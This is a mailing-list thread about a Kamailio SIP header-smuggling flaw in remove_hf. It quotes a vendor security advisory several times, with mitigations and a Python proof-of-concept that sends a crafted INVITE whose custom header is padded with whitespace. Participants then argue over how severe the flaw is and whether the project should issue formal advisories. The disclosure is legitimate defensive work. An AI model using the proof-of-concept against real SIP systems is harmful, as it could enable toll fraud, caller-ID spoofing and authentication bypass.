sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017
<http://sip:1000@127.0.0.1:48017>;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would
respond with a
200 OK while in a fixed version, Asterisk would
respond with a 603 Decline response. This is specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
in our example, which jumps to an internal dialplan if the
`X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to
sufficiently address
this security flaw. We recommend making use
of the latest release or backporting the fixes where possible.
Making use of regular expressions to cover white-space characters
with `remove_hf_re` has been suggested as mitigation for this
issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of
the Kamailio
Project for the very quick response and fix within
minutes of our report being made available to him, as well as
Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops
offensive security
tools and provides quality penetration testing
to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at
the time of
publishing based on currently available information.
Use of the information constitutes acceptance for use in an AS IS
condition. There are no warranties with regard to this
information. Neither the author nor the publisher accepts any
liability for any direct, indirect, or consequential loss or
damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability
disclosure
policy which can be found at
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
12:53 p.m.
Hello Daniel,
thank you for highlighting this potentially very harmful bug and for suggesting a quick
fix with remove_hf_re.
I can only guess that Maxim took offence with your wording here, which can be understood
as downplaying the risk
> The only security risk in my opinion
This bug is indeed a huge security risk if someone relies only on custom headers to
prevent bad actors. This bug shows once again that one cannot be too paranoid and must
have second and third level security. If not such bug can easily sink some small and
medium sized telcos.
Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2
upwards, promoted here:
https://www.kamailio.org/w/download/
Cheers
Gerry
On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla
<miconda(a)gmail.com> wrote:
Hello Maxim,
can you explain why I am downplaying the severity by my remarks? I presented where the
bug is impacting, because the initial announcement sent by Sandro in different channels
(not here, but other security related mailing lists) contained inaccurate information,
respectively an example with P-Asserted-Identity, which was actually not affected by the
bug. So I wanted to be clear is it only about the common header names.
Maybe you haven't understood the issue or what I said, that it may affect security of
the platforms where custom header names are used to pass sensitive data between Kamailio
and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom
header name matching). None of my deployments were affected. The remark for default config
file is that many deployments revolve around it and it does not use with custom header
names, implying also it was not discovered by analyzing the public project, but configs
specific to a private deployment.
And no worries, the issue was public from the day one, by mid of July, being discussed on
our community Matrix channel (public one) when Torrey reported it based on Sandro's
work and it was fixed within minutes to all maintained branches. The group of most active
developers was informed, none reacted as being anything highly critical. Many other bugs
were fixed meanwhile, but no security researcher spent time on them to see if there is any
risk exposed. During the past years the Kamailio ecosystem had extensive collaboration
with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing,
several reports being out based on their work. I am somehow pretty sure no other VoIP
project did same level of security research during the same time interval.
Sending the announcement on this mailing list was also discussed yesterday on Matrix
channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his
team) did the hard work on finding issues in Kamailio, was his privilege to send the
announcement. As mentioned in the first paragraph, Sandro also notified on many
security-related lists, but I was not asked to review the initial announcement sent to
other lists, it was done without being notified. I've seen it first time on VoIPSec
list, thus I discussed with Sandro about amending it to be make it clear the common
headers are not affected.
Now, if you are here because you use Kamailio and have good interest in this application,
then you are also part of Kamailio project, it is a community working together for mutual
benefits. In other words, Kamailio project is not going to do anything special for you,
but you can step forward and propose what should be done and if found useful for the
community, start doing it.
If you are here just to demand others do work for you for free, then you are in the wrong
place.
Cheers,
Daniel
On 02.09.20 06:43, Maxim Sobolev wrote:
Thanks Daniel for patching up the bug, however I
think you are downplaying severity of the problem at hand. You see, from the point of view
of outside world, kamailio is not just engine and default config. All APIs that are
provided are also part of the product, especially those "core" ones. As such,
security issue with any such API is affecting the whole product. People using Kamailio
expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun
except maybe dozen using default config is affected and has to be updated. My question
therefore is "what Kamailio is going to do about it"? At the very least I'd
expect fix to be merged into all actively maintained branches and official security
advisory issued and distributed to all possible channels listing revisions and
recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda(a)gmail.com
<mailto:miconda@gmail.com>> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like X-My-Hdr), not
stripping the white spaces between the name and the following : (colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and there
is no impact in them.
The only security risk in my opinion is when some bad actor learns about
the custom header names (and their body format/content) you use to pass
data between Kamailio and other SIP systems in your core platform, then
trying to preset such headers in the SIP traffic. Of course, security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers, thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
<https://www.paypal.me/dcmierla>_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded
or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from
untrusted traffic to protect against header injection attacks by making use of the
`remove_hf` function from the Kamailio `textops` module. These SIP headers were typically
set through Kamailio which are then used downstream, e.g. by a media service based on
Asterisk, to affect internal business logic decisions. During our tests and research, we
noticed that the removal of these headers can be bypassed by injecting whitespace
characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication
Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/
<https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/>.
## Impact
The impact of this security bypass greatly depends on how these headers are used and
processed by the affected logic. In a worst case scenarios, this vulnerability could allow
toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be
found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost <sip:headerbypass@localhost>
SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>
<sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n
<sip:whatever@whatever.local\r\n>"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017
<http://sip:1000@127.0.0.1:48017/>;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK
while in a fixed version, Asterisk would respond with a 603 Decline response. This is
specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
<https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf>)
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security
flaw. We recommend making use of the latest release or backporting the fixes where
possible. Making use of regular expressions to cover white-space characters with
`remove_hf_re` has been suggested as mitigation for this issue for cases where the code
cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for
the very quick response and fix within minutes of our report being made available to him,
as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com <https://www.enablesecurity.com/>)
develops offensive security tools and provides quality penetration testing to help protect
your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing
based on currently available information. Use of the information constitutes acceptance
for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can
be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>>.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla <https://www.paypal.me/dcmierla>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
1:20 p.m.
Hello Gerry,
the bugfix is already in the stable branches 5.2 and 5.3 included, as I wrote before. I
will be included (as all of the fixes we do) in these Debian and RPM packages as soon as
the respective stable releases were done.
Cheers,
Henning
--
Henning Westerholt - https://skalatan.de/blog/
Kamailio services - https://gilawa.com<https://gilawa.com/>
From: sr-users <sr-users-bounces(a)lists.kamailio.org> On Behalf Of Gerry | Rigatta
Sent: Wednesday, September 2, 2020 12:53 PM
To: miconda(a)gmail.com; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
Hello Daniel,
thank you for highlighting this potentially very harmful bug and for suggesting a quick
fix with remove_hf_re.
I can only guess that Maxim took offence with your wording here, which can be understood
as downplaying the risk
The only security risk in my opinion
This bug is indeed a huge security risk if someone relies only on custom headers to
prevent bad actors. This bug shows once again that one cannot be too paranoid and must
have second and third level security. If not such bug can easily sink some small and
medium sized telcos.
Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2
upwards, promoted here:
https://www.kamailio.org/w/download/
Cheers
Gerry
On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla
<miconda@gmail.com<mailto:miconda@gmail.com>> wrote:
Hello Maxim,
can you explain why I am downplaying the severity by my remarks? I presented where the bug
is impacting, because the initial announcement sent by Sandro in different channels (not
here, but other security related mailing lists) contained inaccurate information,
respectively an example with P-Asserted-Identity, which was actually not affected by the
bug. So I wanted to be clear is it only about the common header names.
Maybe you haven't understood the issue or what I said, that it may affect security of
the platforms where custom header names are used to pass sensitive data between Kamailio
and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom
header name matching). None of my deployments were affected. The remark for default config
file is that many deployments revolve around it and it does not use with custom header
names, implying also it was not discovered by analyzing the public project, but configs
specific to a private deployment.
And no worries, the issue was public from the day one, by mid of July, being discussed on
our community Matrix channel (public one) when Torrey reported it based on Sandro's
work and it was fixed within minutes to all maintained branches. The group of most active
developers was informed, none reacted as being anything highly critical. Many other bugs
were fixed meanwhile, but no security researcher spent time on them to see if there is any
risk exposed. During the past years the Kamailio ecosystem had extensive collaboration
with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing,
several reports being out based on their work. I am somehow pretty sure no other VoIP
project did same level of security research during the same time interval.
Sending the announcement on this mailing list was also discussed yesterday on Matrix
channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his
team) did the hard work on finding issues in Kamailio, was his privilege to send the
announcement. As mentioned in the first paragraph, Sandro also notified on many
security-related lists, but I was not asked to review the initial announcement sent to
other lists, it was done without being notified. I've seen it first time on VoIPSec
list, thus I discussed with Sandro about amending it to be make it clear the common
headers are not affected.
Now, if you are here because you use Kamailio and have good interest in this application,
then you are also part of Kamailio project, it is a community working together for mutual
benefits. In other words, Kamailio project is not going to do anything special for you,
but you can step forward and propose what should be done and if found useful for the
community, start doing it.
If you are here just to demand others do work for you for free, then you are in the wrong
place.
Cheers,
Daniel
On 02.09.20 06:43, Maxim Sobolev wrote:
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the
problem at hand. You see, from the point of view of outside world, kamailio is not just
engine and default config. All APIs that are provided are also part of the product,
especially those "core" ones. As such, security issue with any such API is
affecting the whole product. People using Kamailio expect those APIs do what documentation
says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun
except maybe dozen using default config is affected and has to be updated. My question
therefore is "what Kamailio is going to do about it"? At the very least I'd
expect fix to be merged into all actively maintained branches and official security
advisory issued and distributed to all possible channels listing revisions and
recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla,
<miconda@gmail.com<mailto:miconda@gmail.com>> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like X-My-Hdr), not
stripping the white spaces between the name and the following : (colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and there
is no impact in them.
The only security risk in my opinion is when some bad actor learns about
the custom header names (and their body format/content) you use to pass
data between Kamailio and other SIP systems in your core platform, then
trying to preset such headers in the SIP traffic. Of course, security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers, thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded
or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from
untrusted traffic to protect against header injection attacks by making use of the
`remove_hf` function from the Kamailio `textops` module. These SIP headers were typically
set through Kamailio which are then used downstream, e.g. by a media service based on
Asterisk, to affect internal business logic decisions. During our tests and research, we
noticed that the removal of these headers can be bypassed by injecting whitespace
characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication
Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and
processed by the affected logic. In a worst case scenarios, this vulnerability could allow
toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be
found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From:
<sip:anon@localhost><sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact:
<sip:1000@127.0.0.1:48017<http://sip:1000@127.0.0.1:48017/>;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK
while in a fixed version, Asterisk would respond with a 603 Decline response. This is
specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security
flaw. We recommend making use of the latest release or backporting the fixes where
possible. Making use of regular expressions to cover white-space characters with
`remove_hf_re` has been suggested as mitigation for this issue for cases where the code
cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for
the very quick response and fix within minutes of our report being made available to him,
as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com<https://www.enablesecurity.com/…
develops offensive security tools and provides quality penetration testing to help protect
your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing
based on currently available information. Use of the information constitutes acceptance
for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can
be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com/>
www.twitter.com/miconda<http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com/>
www.twitter.com/miconda<http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
1:33 p.m.
Hello,
On 02.09.20 12:53, Gerry | Rigatta wrote:
[...]
I can only guess that Maxim took offence with your wording here, which
can be understood as downplaying the risk
>>
>> The *only* security risk in my opinion
>>
please provide further details why is downplaying. Have you identified
another security risk? I would like to be aware of and also let the
others know. Or maybe something else is wrong in my statement, my
English is not native and likely not the best out there, I am eager to
learn from you and do better from the future.
Using custom header names to tighten or loose the security is a
per-deployment specific approach, expected that only an insider knows
it, but then such guy has probably access to more important sensitive
data (such as subscriber passwords, etc.).
Based on my review (I could be wrong of course, but I stated clear is my
opinion), none of the standard security related specs were where
impacted -- user authentication, routing, etc ... that's the reason the
bug lived for so long time.
Cheers,
Daniel
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
2:03 p.m.
Hi Daniel,
the word “only” makes it sound like a small issue, at least in my ears.
Best
Gerry
On 2 Sep 2020, at 13:33, Daniel-Constantin Mierla
<miconda(a)gmail.com> wrote:
Hello,
On 02.09.20 12:53, Gerry | Rigatta wrote:
[...]
I can only guess that Maxim took offence with your wording here, which can be understood
as downplaying the risk
>> The only security risk in my opinion
please provide further details why is
downplaying. Have you identified another security risk? I would like to be aware of and
also let the others know. Or maybe something else is wrong in my statement, my English is
not native and likely not the best out there, I am eager to learn from you and do better
from the future.
Using custom header names to tighten or loose the security is a per-deployment specific
approach, expected that only an insider knows it, but then such guy has probably access to
more important sensitive data (such as subscriber passwords, etc.).
Based on my review (I could be wrong of course, but I stated clear is my opinion), none
of the standard security related specs were where impacted -- user authentication,
routing, etc ... that's the reason the bug lived for so long time.
Cheers,
Daniel
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla <https://www.paypal.me/dcmierla>
7:26 p.m.
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to address
individually, so I will just clarify my opinion. The only substantial
difference I think is whether the issue at hand warrants a security
advisory to be issued by the Kamailio project or not. I totally think that
it does, but it looks like I am in the minority here.
Why do I think this way? Well, the first argument is a bit empirical. It is
hard to generalize out of sample size 1, but in like 90% engagements where
I had to use SIP Proxy element and integrate it with different SIP elements
I ended up using "private headers" for passing information between elements
within that setup. So the task of cleaning up those headers at the edge of
the network is very relevant at least to some users. It also matches
Sandro's assessment, which gives it at least some credibility.
Second, a more general one. Not only I have some experience in software
development field, but also I got a chance to participate in much bigger
and older open source projects (i.e. FreeBSD Project, 400+ active
developers, 1,000+ contributors) so I have seen how security is dealt with
properly in a mature open source project. You guys might fancy the fact
that Kamailio issued the last security advisory in 2018 as a "code quality"
indicator, but to me that shows a total lack of proper security process.
With the code base of its size, I'd expect at least several security issues
of various criticality being found per year. I frankly don't understand the
pushback I am getting. It almost looks like issuing such advisory is viewed
as harmful and damaging on project "spotless" reputation or something.
However in my view it would show respect to users and understanding that
many of those users might be using it in a way that differs from its
creators.
It might come as a surprise to some of you, but 95% of Kamailio users are
not reading this and those lists or following Sandro's work in general.
However, if there were a section "Security Advisories" on kamailio.org that
would be the place to go. And those users are often not individuals, but
companies building their products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers, any linux
distro of decent size has its own process to handle and disseminate those
among their own users to update package ASAP. But if Kamailio chooses to
not issue any it basically cuts itself out of that process.
And last but not least, to the remark that I need to step in and fix
things, well I am hardly a person to do that. Too many projects and too
little time, however I also don't think I cannot voice my opinion, or can
I? By the way I know at least one person in the Kamailio community that
might be more fit as a "Kamailio Security Officer": Olle E. Johansson.
Olle, what's your take on this? Does this problem warrants security
advisory?
-Max
7:48 p.m.
Maxim is correct. *Anything* even remotely exploitable must be
documented, fixed, and reported. Credibility with company security
officers, CFOs -- even with the press if something bad should ever
happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard
ever covered RowHammer, Spectre, etc ? If the exploit doesn't make
sense because "they would have access to other private data anyway" is
an assumption and therefore also irrelevant. Sophisticated hackers are
great programmers (as are Kamailio programmers), they work 24/7 (as we
do) -- who's to say how they might combine exploits in some way we
cannot yet imagine.
-Jeff
Quoting Maxim Sobolev <sobomax(a)sippysoft.com>om>:
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to
address individually, so I will just clarify my opinion. The only
substantial difference I think is whether the issue at hand warrants
a security advisory to be issued by the Kamailio project or not. I
totally think that it does, but it looks like I am in the minority
here.
Why do I think this way? Well, the first argument is a bit
empirical. It is hard to generalize out of sample size 1, but in
like 90% engagements where I had to use SIP Proxy element and
integrate it with different SIP elements I ended up using "private
headers" for passing information between elements within that setup.
So the task of cleaning up those headers at the edge of the network
is very relevant at least to some users. It also matches Sandro's
assessment, which gives it at least some credibility.
Second, a more general one. Not only I have some experience in
software development field, but also I got a chance to participate
in much bigger and older open source projects (i.e. FreeBSD Project,
400+ active developers, 1,000+ contributors) so I have seen how
security is dealt with properly in a mature open source project. You
guys might fancy the fact that Kamailio issued the last security
advisory in 2018 as a "code quality" indicator, but to me that shows
a total lack of proper security process. With the code base of its
size, I'd expect at least several security issues of various
criticality being found per year. I frankly don't understand the
pushback I am getting. It almost looks like issuing such advisory is
viewed as harmful and damaging on project "spotless" reputation or
something. However in my view it would show respect to users and
understanding that many of those users might be using it in a way
that differs from its creators.
It might come as a surprise to some of you, but 95% of Kamailio
users are not reading this and those lists or following Sandro's
work in general. However, if there were a section "Security
Advisories" on kamailio.org[1] that would be the place to go. And
those users are often not individuals, but companies building their
products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers,
any linux distro of decent size has its own process to handle and
disseminate those among their own users to update package ASAP. But
if Kamailio chooses to not issue any it basically cuts itself out of
that process.
And last but not least, to the remark that I need to step in and
fix things, well I am hardly a person to do that. Too many projects
and too little time, however I also don't think I cannot voice my
opinion, or can I? By the way I know at least one person in the
Kamailio community that might be more fit as a "Kamailio Security
Officer": Olle E. Johansson. Olle, what's your take on this? Does
this problem warrants security advisory?
-Max
Links:
------
[1] http://kamailio.org
7:56 p.m.
For whatever it's worth: IHO, the official project response to this
issue, and Daniel's in particular, was reasonable and proportional to
the severity of the problem.
